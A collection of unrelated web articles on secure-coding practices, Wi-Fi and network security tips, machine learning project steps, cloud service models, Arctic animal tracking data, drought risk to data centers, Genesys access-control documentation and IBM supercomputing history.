When we talk about training on the most common mistakes made by developers, we also say that many of the mistakes could be easily avoided by following the guidelines present in various development guides, such as the Open Web Application Security Project (OWASP).
The developer will basically find details on how to proceed with input validation, output coding, access control, communication security, data protection, cryptographic practices, etc.
1. Failures in Education and Awareness
We mentioned above that developers are responsible for the vulnerabilities present in the code.
However, these vulnerabilities are not deliberately left in the code, what we see is that many developers do not have the proper knowledge for creating secure code.
One of the problems we can identify is that even though universities have a focus on teaching details of languages and how they should work, few if any have specific chairs for code security.
This point is even more evident when we have several generations of developers, the older ones were educated at a time when security concerns were much less.
Therefore, in order to ensure that the teams have a more level knowledge, it is necessary to create a leveling and education program for the teams so that in this way everyone has the initial knowledge on the topic.
We talked about this a lot in our article about the importance of training.
However, a major problem is that often the managers of development areas do not have the view that the lack of proper education of their teams carries a very high risk within companies.
A developer without the proper knowledge of security can be trained, educated, but a manager who does not realize the importance of security in his daily life will hardly understand the risks to which he is exposed.
Many managers assume that these professionals already leave the colleges with adequate knowledge to work with safe development, however this is not true!
Certainly, we need to understand that no matter how good our developers are, we will always have new techniques and new attack methodologies, and this can only be solved with a constant training program.
Your developers will make mistakes, and this can be a great learning opportunity.
Do not keep development and security teams at bay, they must work together, they must have common goals. These two teams can learn a lot from each other and this knowledge and opportunity cannot be lost.
2. Lack of validation
Even if your developers are more aware and have more security knowledge, they will still make mistakes.
An experienced manager cannot simply rely on the knowledge of his developers to create secure code, that is not enough.
You need tools to help you identify possible flaws in your codes.
In an ideal development model, we will have tools integrated into the development process and thus conduct code scans whenever the process goes through a stage.
We have already covered tools in secure development processes in one of our articles.
We believe that tools are necessary within the development process, however we must not believe that they alone will be the only solution to our code security problem.
Although, you have a great code scanning tool, you will need a qualified and experienced professional to analyze and validate the results of the tool, so we come back to the issue of training and education.
Although the tests are carried out during the development process, it is necessary to carry out additional tests, which bring the certainty of an operationally safe application.
The goal is to create layers of protection for the software code, allowing coding errors to be identified and corrected more quickly and as soon as possible.
3. Late Tests
To achieve better code security, it is not enough for development to have implemented secure coding requirements or even to have secured coding guidelines, in addition to having built a test infrastructure.
The creation of a secure code cannot be based only on the observance of some principles put forward as coding rules.
A safe code is also the result of a change in mentality and culture and, therefore, the best result will be achieved when the development team understands that thinking about security is also their responsibility.
Developers and their teams should not only feel that they are required to follow a set of rules or guidelines, they must primarily have a legit interest in creating secure code.
Many teams assume that tests will be carried out, that other teams will be looking at the code for errors and / or flaws and therefore do not have to worry about developing the code safely.
These teams need to understand that there is a process and that each of the steps directly or indirectly influences the others and this has an impact.
Assigning responsibilities can and should be assessed by managers.
This does not mean that we are going to punish developers, but it makes them more and more responsible for their code, and this is achieved by making them the owners of the code, they have to understand and think as their final product.
Don’t just rely on policies
After all we’ve put here, we want you to realize that basing your code’s security on security policies alone won’t be the best possible solution, even if they are necessary.
Security starts with the right thinking when building applications. | <urn:uuid:3c9bd675-6d7d-4aec-b04b-1f9b7aca1947> | CC-MAIN-2022-40 | https://blog.convisoappsec.com/en/3-errors-in-the-secure-coding-process/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030333455.97/warc/CC-MAIN-20220924182740-20220924212740-00536.warc.gz | en | 0.963753 | 1,101 | 2.828125 | 3 |
It’s no surprise that we use our devices for most of our daily tasks, but have you ever thought about the tech that our devices use to connect to everything? The answer is simple: network devices! For the fourth week of Cyber Security Awareness Month (CSAM), we discuss the importance of network devices and how to keep them secure.
Networking devices are responsible for the communication and interaction between the hardware on a computer network. The most common networking hardware that connects your network to the internet is either a modem, a router, or a modem-router combo. Other examples of networking hardware include a hub, switch, router, bridge, gateway, modem, repeater, and access point.
With the help of networking devices, computer networks can be built and used for many purposes. Computer networks allow us to share, communicate, and access data between devices on the network. As explored in weeks one, two, and three of CSAM, it is important to be aware of cybersecurity dangers and know how you can protect your devices against cyber threats.
So, how exactly do you secure a network? Let’s take a look at how you can protect your business network, set up a secure Wi-Fi network, and use Wi-Fi safely.
Protecting Your Business Network
One of the best ways you can protect your business network is to create a cybersecurity plan for your organization. A cybersecurity plan works to educate yourself as a business owner and your employees to keep your business network secure.
Businesses tend to be a favourable target due to their wealth of corporate data that is stored on their network(s). Attackers also target businesses because there are multiple points of entry with many employees working together on a network.
What should you include in a cybersecurity plan for your business?
To best prepare your business and your employees for cybersecurity, your cybersecurity plan should establish:
- Clear internet usage guidelines
- Rules for email safety
- Social media plan
- A bring your own device (BYOD) and telework plan
Setting Up a Secure Wi-Fi Network
There’s no doubt that having access to a secure Wi-Fi network provides us with unlimited benefits. It’s important to take basic steps to secure your Wi-Fi network to protect your devices and data from potential cyberattacks.
The following 9 steps* will walk you through the basic steps to secure your Wi-Fi network.
* The following steps have been sourced from getcybersafe.ca. Every router is different and if you are having issues, visit the manufacturer’s website.
Step 1: Open your router console
While connected to Wi-Fi, enter your router’s IP address into the address bar on your internet browser.
Step 2: Log in
Enter your username and password. These credentials are usually found on the back of your router or the manufacturer’s website if they haven’t been changed.
Step 3: Find the security settings
The security settings may also be called “Wireless Security”.
Step 4: Rename your router
Rename your router but be sure not to include any personal information.
Step 5: Use a passphrase
Use a complex passphrase for your router’s password.
Step 6: Change your encryption
Under the Network Authentication setting, choose WPA2.
Step 7: Create a guest network
Keep your business network protected. Create a separate guest network to allow your visitors access to the internet, but not your corporate information. To do this, turn on the guest network in your settings and give the new network a unique name and password.
Step 8: Save your settings
Be sure to click “Save” or “Apply” to save your new changes.
Step 9: Get connected again
Connect your devices to your new network.
Use Wi-Fi Safely
Now that you’ve secured your Wi-Fi network, it’s important to know how you can browse the internet safely and strengthen your network connection. The following tips serve as a basic guide to using Wi-Fi safely:
- Don’t visit malicious sites, use websites with HTTPS protocols
- Avoid phishing scams
- Use caution around public Wi-Fi
- Never connect to an unfamiliar network
- Use data encryption services
- Use a VPN
- Update your antivirus and antimalware software
- Ensure you have a good firewall
Keep Your Network Secure
Our networks work hard to keep us connected. It’s important to take the basic steps outlined in this article to keep your network secure. For more cybersecurity tips, be sure to check out the AlphaKOR Academy.
Interested in all-in-one managed IT services? Get your IT performance quote today! | <urn:uuid:fc7ef0ba-f6d8-4a27-998b-766939ce3484> | CC-MAIN-2022-40 | https://staging.alphakor.com/blogs/it-services/how-to-keep-your-network-devices-secure/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030335004.95/warc/CC-MAIN-20220927100008-20220927130008-00536.warc.gz | en | 0.908069 | 989 | 3.171875 | 3 |
Take a look around. Cars are driving themselves. Automation is everywhere. Even drones have become household toys.
These are clear signs that artificial intelligence (AI) and machine learning (ML) have become democratized.
As powerful as they are, using AI and ML to solve business problems is not a simple process. Many project teams do not fully understand how to work with these technologies.
Algorithm libraries are the smart choice
There are more than 50 common ML algorithms, all with different applications. It can be tempting for AI/ML adopters to develop their own in-house solutions. However, building new ML algorithms can be a huge challenge. Significant investments are required and it is difficult to compete with established players such as Amazon (AWS), Microsoft (Azure), and Google. A better alternative is to hire engineers who can work with existing ML libraries built into major cloud platforms.
Off-the-shelf ML algorithms are best suited for evolving markets that need rapid access to working solutions. Such pre-existing, bug-free algorithms are an important advantage as they speed up the development and deployment process.
Not all business problems can be solved using algorithm libraries. More complex problems will still need to be built from scratch by experienced R&D experts. This type of work requires a lot of creativity and human ingenuity.
Solving problems with AI and ML
AI/ML projects are often hindered by lack of understanding of the underlying dynamics, dependencies and data required to solve a problem.
Below are five steps engineers must take to successfully build AI and ML solutions.
1. Understand the problem: Before any development, engineers must have a thorough understanding of the problem. The team must identify the dynamics associated with the problem, a list of internal and external dependencies, and data attributes. The methods to achieve this include the ‘5 whys’, mind mapping, online analysis and domain SME discussion.
2. Understand data points: A thorough understanding of existing data is essential as engineers must be able to identify features that could influence the AI/ML model. Common tools and methods to help with this stage include data analysis, statistical methods, data interpolation and extrapolation, feature extraction methods and research.
3. Determine whether AI/ML is appropriate
This is perhaps the most important step in any project development to determine which technologies should be used to solve the problem. Many development teams opt to use AI and ML even when they are not the ideal choice.
Some good questions to ask before you start:
If the answer to any of the questions above is a strong yes, the project may not be a good fit for AI and ML.
4. Spend time on feature engineering
One of the most challenging tasks is establishing effective features that are dependable for ML classification. Based on the nature of a problem, features must be extracted from transformation. This requires significant expertise and application of data engineering concepts.
5. Apply ML algorithms contextually
Selecting the correct ML algorithm for a problem requires analyzing and using KPIs such as accuracy, precision, recall, MCC (Matthews correlation coefficient), and F scores. There is no ‘minimum data’ formula, as it is highly driven by the complexity of the problem.
Selecting the right ML algorithm
As with the steps above, it is important to ensure the correct ML algorithm is selected for the success of the entire project. Once the problem, data attributes, and project objectives are thoroughly understood, an algorithm should be chosen.
Broadly, algorithms fall into four categories:
When datasets are clear and consistent, supervised learning algorithms are a good choice. But, when data is complex or unclear, unsupervised learning algorithms are more appropriate.
It is important to remember that contextual application of ML algorithms is essential to project success. Your choice of algorithm must be made objectively. Just because you have resources who specialize in an algorithm does not mean it is the best choice. | <urn:uuid:84953dd1-d004-4ac3-9ef6-7b768943df51> | CC-MAIN-2022-40 | https://www.csscorp.com/allnews/mechanics-leveraging-ai-ml-solve-problems/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030335276.85/warc/CC-MAIN-20220928180732-20220928210732-00536.warc.gz | en | 0.939962 | 805 | 2.765625 | 3 |
Leading ‘As-A-Service’ Trends In Technology And What They Can Do For Your Business
The advent of cloud computing brought with it more than just a place to store data, the cloud could be used for running, as well as building, applications and other software. Software-as-a-Service (SaaS) is the most commonly used of the cloud services model. This is where a third party distributes software over the internet, making them available to everyone. This could be email, customer relationship management, and healthcare-related applications.
There are several important characteristics tied to the SaaS model. These are how they differ from the traditional software model and what makes it ideal for some businesses versus the traditional way of doing things.
It’s easy for companies to streamline their support with SaaS because vendors perform all the maintenance and upkeep: updates, runtime, servers, storage, data, etc. SaaS is one of three main components to cloud computing, along with Platform as a Service (SaaS) and Infrastructure as a Service (IaaS).
The Hardware-as-a-service (HaaS) model can be a cost-effective way for a small or mid-sized business provide employees with state-of-the-art hardware in a cost-effective manner. HaaS can be contrasted to infrastructure-as-a-service where the hardware is housed at the MSP’s site.
Platform-as-a-Service (PaaS) is for running applications and providing cloud components to software. Basically, the customer is using the provided platform, such as Microsoft Azure, to use libraries, languages, services and other tools supported by the platform provider.
The same way that you would make macros in Microsoft Excel, PaaS allows you to create applications using software built into the PaaS. Applications that use PaaS will inherit cloud capabilities such as scalability, high-availability, SaaS enablement and more. It reduces the amount of coding needed, it automates business policy and it helps migrate apps to a hybrid model.
Some vendors of PaaS use open source platforms while others use more of a proprietary version. Open source might have the advantage of being portable, but a vendor-specific version will probably have a better support model. Your business should take into account these versions before picking their PaaS. Portability is very important because businesses that want to move between cloud versions as their strategy evolves.
One benefit is cost reduction; the other is that you can deliver web apps quickly without installing any tools or software.
PaaS is usually billed using the same model as your utility bill, you pay for only what you use. It eliminates the need to install hardware or software that you don’t need.
Development teams who want to speed their application’s time to market can benefit from PaaS; businesses looking to put their applications on a common architecture; and organizations who need critical support would also benefit from using PaaS. It reduces IT costs, complexity of operating systems and increases scalability.
Infrastructure as a Service (IaaS) is a cloud infrastructure service that is a self-service model for accessing, monitoring and managing remote data centers such as compute, storage, networking and networking services such as firewalls. So instead of buying hardware outright, you pay for what you need as you go. It’s consumption based, much like your electricity is now.
Unlike PaaS and SaaS, IaaS users are responsible for managing data, runtime, apps and operating systems on it. The provider still manages networking, visualization and storage. Many providers now offer databases and other services. But the user is responsible for updating if there any updates. | <urn:uuid:e054470a-8ce4-4c7d-a900-514bbb1b7c8a> | CC-MAIN-2022-40 | https://www.infiniwiz.com/why-is-everything-in-tech-as-a-service-these-days/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030335276.85/warc/CC-MAIN-20220928180732-20220928210732-00536.warc.gz | en | 0.947213 | 782 | 2.75 | 3 |
The Arctic Animal Movement Archive (AAMA) is a new and growing collection of studies describing movements of animals in and near the Arctic. The AAMA includes millions of locations of thousands of animals over more than three decades, recorded by hundreds of scientists and institutions. By compiling these data, the AAMA supports public data discovery, preserves fundamental baseline data for the future, and facilitates efficient, collaborative data analysis. We have used the AAMA to document climatic influences on the migration phenology of golden eagles, geographic differences in the adaptive response of caribou reproductive phenology to climate change, species-specific changes in terrestrial mammal movement rates in response to increasing temperature, and the utility of animal-borne sensors as proxies for ambient air temperature. The AAMA is a living archive that can be used to uncover other such changes, investigate their causes and consequences, and recognize larger ecosystem changes taking place in the Arctic.
These visualizations show AAMA animal location data. Some of the visualizations collpase the years down as if all of the data were from the same year; others show the data with the years passing. Several different groupings of animals are shown: marine mammals, raptors, seabirds, shorebirds, terrestrial mammals, and waterbirds. Snow and sea ice are also shown for context as they correlate to animal movements.
Citation: Ecological insights from three decades of animal movement tracking across a changing Arctic. S.C. Davidson, et al. Science 06 Nov 2020: Vol. 370, Issue 6517, pp. 712-715 DOI: 10.1126/science.abb7080
Data citation: The Arctic Animal Movement Archive (AAMA) is a collection of studies that contain animal movement and other animal-borne sensor data from the Arctic and Subarctic, owned by hundreds of participating experts and organizations. As of November 2020, this collection includes 214 studies that contain over 43 million locations of over 12,000 animals recorded from 1988 to the present. Initial development of the AAMA was funded by NASA’s Arctic-Boreal Vulnerability Experiment. The AAMA is hosted on Movebank, a free, global research platform for animal movement and animal-borne sensor data. Long-term support for the storage and curation of the AAMA in Movebank comes from the Max Planck Institute of Animal Behavior. Visit the archive to learn more and find out how to participate.
NASA Media: https://www.nasa.gov/feature/goddard/2020/arctic-animals-movement-patterns-are-shifting-in-different-ways-as-the-climate-changes
AGU iPoster: https://agu2020fallmeeting-agu.ipostersessions.com/Default.aspx?s=1C-9F-40-11-B3-77-C2-50-6F-F3-B1-3B-60-B4-93-5E#
AGU Hyperwall Talk: [placeholder] | <urn:uuid:5ea9364c-72f8-4cee-9a1d-9a4977e69d6b> | CC-MAIN-2022-40 | https://cybercoastal.com/nasa-global-animation-of-animal-migration-throughout-north-america-the-rest-of-the-arctic/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030335424.32/warc/CC-MAIN-20220930020521-20220930050521-00536.warc.gz | en | 0.88648 | 626 | 3.46875 | 3 |
by Julia Hazel, Ph.D
Climate change-driven extreme weather events wreaked havoc across the world this past summer and amplified concerns of data center resiliency. The possibility that “The Internet wasn’t built to endure climate change,” as stated in InformationWeek, seems more likely than ever. In July, an unprecedented heat wave hit the UK and temperatures reached the highest ever recorded in the region. In addition to the toll on human life and devastating wildfires, the heat also impacted the data center industry. At least two data centers controlled by Google and Oracle were forced to shut down due to cooling system problems. Unfortunately, this likely was not a black swan event. As with many other global challenges, the black swan is dead, and the shutdown is indicative of the growing risk water scarcity poses to data centers and supply chains across the globe.
Data Centers, Supply Chains, and Climate Change
Data centers power the cloud infrastructure fundamental to modern daily life and the overall functioning of businesses and industries. Cloud infrastructure is imperative to the supply chain and allows for logistical efficiency, management of inventory, and enterprise planning. Outages in London underscore the fact that data centers are an often-overlooked component of supply chains that are increasingly under heightened risk from climate change. Data center closures due to extreme weather events — which are projected to become more severe in the coming years — will lead to rising costs and disruptions across the supply chain.
The risks to data centers from climate change extend beyond heat waves. Data centers need vast amounts of water for two purposes: electricity generation and cooling. Drought and water scarcity are therefore enormous threats to operations. According to Your Computer is on Fire, midsize data center consumes about 400,000 gallons of water each day while larger data centers can consume up to 1.7 million gallons (about twice the volume of an Olympic-size swimming pool) per day. In a paper published last year, it was reported that the U.S. data center industry uses water from 90% of U.S. watersheds, and 20% of data centers rely on watersheds under moderate to high stress. Water use limitation has not been prioritized due to the tradeoff between using more energy-intensive closed loop chillers or water-intensive evaporative cooling. In short, water scarcity will pose an extreme risk to data center operations, and more attention should be focused on water usage and operational resilience given the threat of climate change.
A Global Analysis of Data Centers and Water Scarcity
The threat that climate change poses to exacerbating drought motivates our analysis on data centers found in water-scarce regions that place extra stress on the already strained environment. We compare global data center facility locations to both the historical drought risk, based on the historical frequency of drought events weighted by magnitude, and the drought risk we attribute to climate change, based on the linear multi-decadal trend of drought severity. The drought risk is calculated from global Climate Research Unit Palmer Drought Severity Index data that spans 1901-2021 and scaled between 0-100 globally on a 10km-by-10km grid. We consider drought risk scores below 34 to be “high” risk and scores below 67 to be “medium” risk.
Our findings show that out of 4,772 global data centers, 34 are within areas that have a historical high drought risk, and 665 are located within areas of medium drought risk. Those data centers within high-risk locations are primarily located within Arizona, which has recently become a data center hotspot for large U.S. companies such as Microsoft, Google, and Facebook despite record low water levels at Lake Meade and the Colorado river.
These numbers are even more stark when looking at the drought risk attributed to climate change. Looking ahead at the future risks posed by climate change, 15% of global data centers are in high-risk areas such as the Southwestern U.S., Western Europe, and Japan, where the trend in drought conditions has worsened in recent decades, and approximately 33% or 1,566 of all data center facilities are within medium risk areas. Equinix, one of the largest data center corporations that serves companies such as Amazon, Facebook, and Apple, has multiple locations within these high-risk areas.
Climate change will lead to unpredictable events and various disruptions, and these risks need to be mitigated where possible. Our analysis of drought risk and data center facilities highlights the need for climate change to be considered when constructing data centers and assessing the potential supply chain disruptions that may occur at the intersection of data centers and water scarcity. The geographic locations of these data centers will determine their water footprint and their resultant impact on the surrounding environment, in many cases exacerbating already pressing water shortages.
The risk of climate change to data centers extends beyond water scarcity and droughts. Hurricanes and severe weather, forecasted to become more severe with climate change, will pose a large cybersecurity risk to data centers if critical infrastructure is damaged during these events. Given the importance of cloud infrastructure to the supply chain, organizations should itemize those data centers on which their supply chains (and their livelihoods) rely and assess the current and future risks posed by climate change to augment their resiliency and avoid disruption from climate-related events.
To learn more about how the Interos platform can help prepare companies to face climate change challenges, visit interos.ai. | <urn:uuid:323bdba5-3efc-4dd4-802e-913ac4ef923f> | CC-MAIN-2022-40 | https://www.interos.ai/blog-climate-change-data-centers/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030335424.32/warc/CC-MAIN-20220930020521-20220930050521-00536.warc.gz | en | 0.948008 | 1,103 | 3.03125 | 3 |
Object-Based Access Control
Object-Based Access Control implements user authorization by using permissions to define what each user can do to the objects to which he or she has access.
In general, any object for which permissions is not explicitly granted is forbidden.
User authorization is provided by the combination of a set of elementary permissions, shown in the following table. This security mechanism implemented in Configuration Server allows the system administrator to define separately a level of access for any account with respect to any object.
|Read||Permission to read information and receive updates about the object.|
|Create||Permission to create objects in this folder.|
|Change||Permission to change the properties of the object. The Change permission is the
same as allowing “Write” access.
|Execute||Permission to perform a predefined action or set of actions with respect to the object. This is also required for a user to log in to a Graphical User Interface (GUI) application.|
|Delete||Permission to delete the object.|
|Read Permissions||Permission to read the access control settings for the object.|
|Change Permissions||Permission to change the access control settings for the object.|
|Read & Execute||
|Propagate||For container objects (such as Tenants, Folders, Switches, IVRs, and Enumerators). The Propagate check box controls whether to propagate this set of elementary permissions to the child objects. By default, the check box is selected).|
The access privileges of authenticated user accounts define what the user can and cannot do within this application. The Execute permission is used to control access to applications, solutions, and other configuration objects. Without such permission, the user cannot work with a given application or execute control over a given object. Combinations of the Read, Create, Change, and Delete permissions define the level of access to configuration data. For example, users might have access to a real-time reporting solution but will get reports only about objects they have permission to read.
Access control for daemon applications is different from that for GUI applications. Access permissions for GUI applications are determined by the profile of the person who is currently logged in. Daemon applications do not have an explicit login procedure. Instead, their access permissions are determined by the permissions of the account with which they are associated: a personal account or the SYSTEM account. Any personal account registered as a Person object in the Configuration Database can be used as an account for any daemon application. By default, every daemon application is associated with a special account SYSTEM that has Read and Execute permissions for all objects in the Configuration Database except Access Groups.
Access Groups and Default Security Settings
Access Groups are groups of Person objects who must have the same set of permissions with respect to Configuration Database objects. By adding individuals to Access Groups—and then setting permissions for those groups—access control is greatly simplified.
Genesys offers these preconfigured Default Access Groups:
- Users: Members have Read and Execute permissions with respect to all objects except Access Groups.
- Administrators: Members have a full set of permissions with respect to all objects except the Super Administrators Access Group.
- Super Administrators: Members have a full set of permissions with respect to every object in the Configuration Database. No person is added to this group by default.
In addition, in a hierarchical multi-tenant configuration, Configuration Server creates these Default Access Groups for each new Tenant object:
- Users: Members have Read and Execute permissions with respect to all objects under this Tenant except Access Groups.
- Administrators: Members have a full set of permissions with respect to all objects under this Tenant.
By default, Configuration Server considers a new user to be a member of the EVERYONE group. It does not assign that user to any Access Group when he or she is created. Likewise, the new user is not automatically assigned any permissions by default. In effect, the new user has no privileges, and cannot log in to any interface or use a daemon application. The new user must be explicitly added to appropriate Access Groups by an Administrator or by existing users with access rights to modify the user’s account. Refer to Genesys Administrator 8.1 Help for more information about adding a user to an Access Group.
By default, this behavior applies to all new users added by Configuration Server release 7.6 or later. Users created before release 7.6 keep their existing set of permissions and Access Group assignments. If you want new users to be added automatically to predefined Access Groups, as was the behavior prior to release 7.6, you must manually disable this feature by using the Configuration Server no-default-access configuration option.
For more information about this feature, including how it works and how to modify it, see No Default Access.
Master Account and Super Administrators
The Configuration Database contains a predefined user object, otherwise known as the Master Account or Default User. This account, named default and with a password of password, is not associated with any Access Group. The Master Account always exists in the system and has a full set of permissions with respect to all objects in the Configuration Database. You must use this account when you log in to the Configuration Layer for the first time after Configuration Database initialization.
- In addition to emergency situations, you still must use the Master Account for some specific administrative tasks, especially during migration. Refer to the description of the specific tasks throughout this and other documents, including the Genesys Migration Guide, to determine whether you need to use the Master Account, or whether you can use another account that has the required permissions.
- Genesys recommends that you change the default name and password of the Master Account, store it securely, and use this account for only emergency purposes or whenever specifically required.
During one of your first working sessions, create non-agent accounts for everyone who needs full access to all objects and add these accounts to the Super Administrators group. By default, every member of the Super Administrators group has the same permissions as the Master Account.
Think of the EVERYONE group as an Access Group that includes every user registered in the Configuration Database. You cannot delete or modify this group, which, by default, has no permissions set for any configuration objects.
Multiple (and unequal) permissions can affect a User's access to an object. If a User belongs to multiple Access Groups and those Access Groups have different permissions for the object, the User gets the logical union of privileges from the set of access privileges with one exception: the No Access access privilege supersedes all others.
- User John is a member of Access Group A and Access Group B.
- Access Group A has Read-only access to the Host Friday, but Access Group B has Read/Write access to the Host Friday.
As a result, John has Read/Write access to the Host Friday.
To understand the exception to this rule, now assume that:
- User John joins Access Group C, which has No Access privileges to the Host Friday.
As a result, User John now has no access to the Host Friday.
Setting and Changing Permissions
Permissions are set and changed in Genesys Administrator on the Permissions tab of the appropriate object.
To grant permissions, use the following steps. [+] Show steps
To modify permissions, use the following steps: [+] Show steps
To remove permissions previously granted to a user or group of users, use the following steps: [+] Show steps
Changing Permissions Using Propagation
The Propagate check box in the properties of so-called container objects (such as Tenants, Folders, Switches, and IVRs) allows you to manage access permissions to both the container object and those objects that they contain—the so-called child objects—without affecting the permissions of other Users or Access Groups.
When the Propagate check box is selected (the default setting) for a container object, any changes to permissions to the container object will be propagated to (that is, also made to) the permissions to each child object.
Use propagation when you want to set identical permissions for a user to a container object and all its child objects. For example, if you are setting up a new user or Access Group, and that user or group is to have identical permissions to a container object and all the objects that it contains, you have to add permissions for that user or groups only once—in the container object.
If you want to change the permissions to the container object without changing those of the child objects, clear the Propagate check box before changing the object’s access permissions.
The setting of the Propagate check box (checked or unchecked) is saved between propagations. This enables you to ensure that subsequent changes to permissions settings are consistently propagated or not.
If you want to set permissions for only the child objects without changing those of the parent object, set the child permissions as required. If the consistently check box in the parent is checked for the users whose permissions were changed, any changes for the child will last only until the next propagation. However, if you then change permissions for another user at the parent level, the resulting propagation will not overwrite the earlier manual change to the first user.
Changing Permissions Recursively
If the Propagate and Replace permissions recursively check boxes are selected for a container object, all permission settings for its child objects are removed and replaced with all permission settings configured for the parent object. Recursion is basically propagation on a clean slate—removing any access rights to the child objects for any users and groups except those propagated from the parent object.
The Replace permissions recursively check box is unchecked by default, and must be selected explicitly each time that you want to propagate recursively.
Hierarchical Multi-Tenant Environments
Generally, permissions function in a hierarchical multi-tenant environment in the same way as they do in an enterprise environment. However, there are some exceptions. This section identifies the issues related to using object permissions in a hierarchical multi-tenant environment, and provides workarounds where available.
Accessing Tenants and Objects in Other Tenants
By default, and with one exception, users in one tenant cannot create another tenant, nor can they access any objects in another tenant. Generally, the only exception to this situation is that the Default User (using the Master Account) and members of the SuperAdministrators Access Group can create new tenants and access objects in other tenants.
The details of default behavior in a hierarchical multi-tenant environment, and recommendations to work around the limitations imposed by that default behavior, are given in the following sections.
Creating New Tenants
A new Tenant object can be created only by the Default User or a user who is a member of the Super Administrators Access Group.
When a tenant is created, permissions to it are granted to the following Access Groups, as follows:
- Environment/default (the Default user)—Full control
- Super Administrators (from the Environment Tenant)—Full control
- SYSTEM (from the Environment Tenant)—Read & Execute (RX)
- [new Tenant]\Administrators—Read & Execute (RX)
- [new Tenant]\Users—Read & Execute (RX)
Add users as necessary to the Super Administrators group to enable them to create tenants. Refer to Genesys Administrator 8.1 Help for instructions about adding users to Access Groups.
Providing Users Access to Objects in Other Tenants
By default, a new user is not granted access to any objects. As in an enterprise environment, each new user must explicitly be granted permissions and/or added to an Access Group with permissions, to access any objects. See No Default Access for New Users for more information.
To log in to an Application, a user must have at least Read & Execute permissions for that Application. After he or she is logged in, the user can access only those objects in his or own Tenant; he or she cannot access any objects in another Tenant.
To gain access to objects in another Tenant, the user must be granted permissions to those other objects by one of the following:
- the creator of the other Tenant
- another member of the Super Administrators Access Group
Providing Users in Parent Tenant Access to Objects in Child Tenants
A user in a parent tenant has no default access to the objects in the child tenants.
- Explicitly grant at least Read access to all child tenants.
- Explicitly add the user to one of the two built-in Access Groups in each child tenant—Administrators or Users.
Voice Platform Solution Limitation
When a hierarchical multi-tenant configuration is used with the Voice Platform Solution in a managed server setting, a major limitation arises when creating Tenants and Direct Inward Dialing (DID) numbers. In essence, this limitation forces the system owner to create and maintain all Tenants and DIDs for all tenants.
In the Voice Platform Solution, DIDs must be unique across the entire system. The software is designed to validate this uniqueness when DIDs are created. This requires that the user who inputting this information must have at least Read access to all DID objects in all Tenants, and therefore access to the Tenants themselves. However, in a managed server environment, it is highly unlikely that the Service Provider wants one tenant to see, or even know about, other tenants. Therefore, the only user that could input this information would be a member of the Super Administrators Access Group, namely, the system owner. The current model of access permissions does not permit any workaround to this situation at this time. | <urn:uuid:69371431-08fa-4763-9328-c83cef2a8fcb> | CC-MAIN-2022-40 | https://docs.genesys.com/Documentation/System/8.5.x/SDG/OBAC | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030335609.53/warc/CC-MAIN-20221001101652-20221001131652-00536.warc.gz | en | 0.895423 | 2,901 | 2.8125 | 3 |
This week, in honor of the 30th anniversary of the SC conference, we are highlighting some of the most significant IBM contributions to supercomputing over the past 30 years.
In May of 1997, the front page of the New York Times announced that an IBM computer named Deep Blue had beaten the chess grandmaster, Garry Kasparov. Deep Blue became the first computer system to defeat a reigning world champion in a match under standard chess tournament time controls. The system was capable of evaluating 200 million positions per second. It was the 259th most powerful supercomputer in the world back then and provided one of the earliest examples of the partnership that would develop between Artificial Intelligence and high performance computing.
Then In 1999, the project that would become IBM Blue Gene ushered in a new era of high-performance computing. IBM began exploring novel ideas in massively parallel machine architecture and software, including how to make massively parallel machines more usable, cost-effective, and energy-efficient. In November 2004 at Lawrence Livermore National Laboratory (LLNL), the first of many IBM Blue Gene supercomputers was deployed and took its place as the most powerful computer in the world, with a record performance of 70.72 Teraflops. The LLNL Blue Gene/L installation held the first position in the Top500 list for more than three years, a very long tenure in the world of supercomputers, until in June 2008 it was overtaken by IBM’s Cell-based Roadrunner system at Los Alamos National Labs – the first system to surpass the 1 Petaflop mark.
IBM contributions to supercomputing over the past three decades have not only helped researchers explore some of the most complex and fascinating mysteries of the universe, these efforts have also earned IBM teams a number of prestigious awards. For example, starting in 1999, IBM teams were awarded or shared Gordon Bell Prizes in more than half a dozen separate years. Named for one of the founding fathers of supercomputing, the prestigious Gordon Bell Prize is awarded to innovators who advance high performance computing.
A year after that first IBM Blue Gene/L supercomputer began operating at Lawrence Livermore, an IBM team leveraged its power for pioneering materials science simulations and won a Gordon Bell Prize. The next year, in 2006, a large-scale electronic structure simulation of the heavy metal molybdenum conducted on Blue Gene/L won an IBM team the 2006 Gordon Bell Prize. By 2013, IBM Blue Gene systems had helped map the human genome, flown airplanes, pinpointed tumors, predicted climate trends, and then in 2013 simulated bubbles — 15,000 of them, to be precise. This particular research project achieved a new supercomputing record and was awarded the Gordon Bell Prize that year. Then in November of 2015, IBM yet again shared the Gordon Bell Prize when scientists, including an IBM team, realistically simulated the forces inside the Earth that drive plate tectonics. The team’s work heralded a major step toward better understanding earthquakes and volcanic activity.
One of the most interesting projects that led to IBM winning a Gordon Bell Prize came in 2009 – for simulating a cat’s brain. BlueMatter, an algorithm created in collaboration with Stanford University, exploited the Blue Gene supercomputing architecture in order to noninvasively measure and map the connections between all cortical and sub-cortical locations within the human brain. The project achieved the first near real-time cortical simulation of a brain containing 1 billion spiking neurons and 10 trillion individual learning synapses, which exceeds the scale of a cat cortex. The result marked significant progress toward creating a computer system that simulated and emulated the brain’s abilities for sensation, perception, action, interaction, and cognition, while rivaling the brain’s low power and energy consumption and compact size.
The year before, IBM had been awarded the National Medal of Technology and Innovation by the National Science and Technology Medals Foundation (NSTMF). This prestigious medal was awarded to IBM: “For the IBM Blue Gene supercomputer and its systems architecture, design, and software, which have delivered fundamental new science, unsurpassed speed, and unparalleled energy efficiency and have had a profound impact worldwide on the high-performance computing industry.”
Of course, everyone remembers 2011, when IBM Watson competed on the Jeopardy! Television game show against legendary champions Brad Rutter and Ken Jennings and won the first place prize of $1 million for charity. At that time, Watson’s main innovation was in its ability to quickly execute hundreds of proven language analysis algorithms simultaneously. During the televised competitions, Watson, consisting of ten racks of ten IBM POWER 750 servers, was represented at the podium by an avatar of IBM’s Smarter Planet logo, whose moving lines went green when Watson cracked a thorny problem, and orange when the answer was wrong.
